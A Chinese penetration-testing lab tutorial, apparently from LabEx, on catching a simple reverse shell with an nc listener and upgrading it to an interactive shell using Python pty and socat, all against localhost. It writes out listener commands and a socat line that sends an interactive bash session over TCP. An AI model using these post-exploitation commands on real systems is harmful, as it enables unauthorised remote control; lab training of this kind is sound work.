在 Nmap 中将简单 Shell 升级为交互式 Shell

Beginner

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

简介

在渗透测试领域,获取目标系统的访问权限通常涉及获得一个 shell,这可以是一个简单的 shell 或一个交互式 shell。简单的 shell 功能有限,缺乏交互能力,而交互式 shell 则提供了一个更强大且用户友好的环境。本实验旨在探索简单 shell 和交互式 shell 之间的区别,并指导你将简单 shell 升级为交互式 shell。


Skills Graph

理解简单 Shell

在这一步骤中,我们将探讨简单 shell 的概念及其局限性。简单 shell 通常通过远程命令执行漏洞或其他利用技术获得。虽然它允许你在目标系统上执行命令,但它缺乏一些关键功能,这些功能可能会阻碍后续的利用阶段。

  1. 首先,打开一个终端窗口并导航到 /home/labex/project 目录:

    cd /home/labex/project
  2. 为了模拟在目标系统上获取简单 shell 的过程,你需要使用 nc 命令在端口 5911 上设置一个监听器:

    nc -lnvp 5911

    预期输出:

    labex:project/ $ nc -lnvp 5911
    listening on [any] 5911 ...

    这个终端窗口将作为简单 shell 连接的监听器。

  3. 打开另一个终端窗口并导航到 /home/labex/project 目录,你应该会在主目录中看到一个 exploit.sh 文件。该文件模拟了一个远程命令执行漏洞利用,可用于在目标系统上获取简单 shell。

    cd /home/labex/project

    运行 exploit.sh 脚本以连接到端口 5911 上的监听器,并在目标系统上获取简单 shell:

    ./exploit.sh

    预期输出:

    labex:project/ $ ./exploit.sh
    Simulating attack...
    Shell has been rebound, please check the terminal which you listen to the port 5911

    该脚本将连接到端口 5911 上的监听器,并在目标系统上为你提供一个简单 shell。

  4. 回到你设置监听器的终端窗口,你应该会看到与目标系统建立的连接。

    示例输出:

    labex:project/ $ nc -lnvp 5911
    listening on [any] 5911 ...
    connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38696
    |

    你可以通过执行诸如 whoamilsb_release -a 等命令来验证你是否获得了简单 shell。然而,你会注意到简单 shell 缺少某些功能,例如适当的命令提示符、Tab 补全以及使用交互式命令(如 sussh)的能力。

使用 Python 升级到交互式 Shell

将简单 shell 升级为交互式 shell 的一种方法是使用 Python 的 pty 模块,它允许你创建一个伪终端(pts)。

  1. 首先,通过运行以下命令检查目标系统上是否安装了 Python:

    which python
  2. 如果 Python 可用,你可以使用以下命令创建一个伪终端:

    python -c 'import pty; pty.spawn("/bin/bash");'

    该命令将生成一个支持伪终端的新交互式 shell,允许你无任何问题地执行诸如 sussh 等命令。

    示例输出:

    labex:project/ $ python -c 'import pty; pty.spawn("/bin/bash");'
    labex@660d6d4be229593d40db954d:~/project$
  3. 你可以通过运行 tty 命令并将输出重定向到文件来验证新 shell 是否为伪终端:

    tty > /home/labex/project/shell.txt

    检查 shell.txt 文件的内容,看看 shell 是否为伪终端(pts)。

    cat /home/labex/project/shell.txt

    示例输出:

    labex@660d6d4be229593d40db954d:~/project$ /home/labex/project/shell.txt
    /dev/pts/5

然而,尽管 Python 伪终端解决了简单 shell 的一些局限性,但它仍然缺少某些功能,例如 Tab 补全、历史记录导航以及对文本编辑器(如 vimvi)的适当支持。

PS:你可以通过输入 exit 或按下 Ctrl+D 从伪终端 shell 中退出。

使用 Socat 升级到完整交互式 Shell

为了获得更全面的解决方案,我们可以使用 socat 工具来获取一个支持所有功能的完整交互式 shell,包括 Tab 补全、历史记录导航和文本编辑器兼容性。

首先,通过运行以下命令检查目标系统上是否安装了 socat

which socat

如果 socat 可用,请按照以下步骤操作:

  1. 打开一个新的终端窗口,并使用以下 socat 命令在端口 5912 上启动一个监听器:

    socat file:$(tty),raw,echo=0 tcp-listen:5912

    等待连接建立。

  2. 在简单 shell 中,执行以下命令以连接到监听器并将 shell 升级为完整交互式 shell:

    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912
  3. 回到你设置监听器的终端窗口,你应该会看到与目标系统建立的连接。你现在应该拥有一个完全交互式的 shell,具备常规终端会话中期望的所有功能。

    示例输出:

    labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912
    labex@660d5d5ee229593d40db9301:~$

通过使用 catsshvim 等命令以及使用上下箭头键浏览命令历史记录来测试新的交互式 shell。

总结

在本实验中,我们在渗透测试的背景下探讨了简单 shell 和交互式 shell 的概念。我们了解了简单 shell 的局限性,以及升级到交互式 shell 对于高效进行后续利用活动的重要性。我们介绍了两种升级简单 shell 的方法:使用 Python 的 pty 模块创建伪终端,以及使用 socat 工具获取具备所有必要功能的完整交互式 shell。通过练习这些技术,你掌握了宝贵的技能,这些技能将在未来的渗透测试任务中帮助你克服简单 shell 带来的挑战,并简化你的后续利用工作。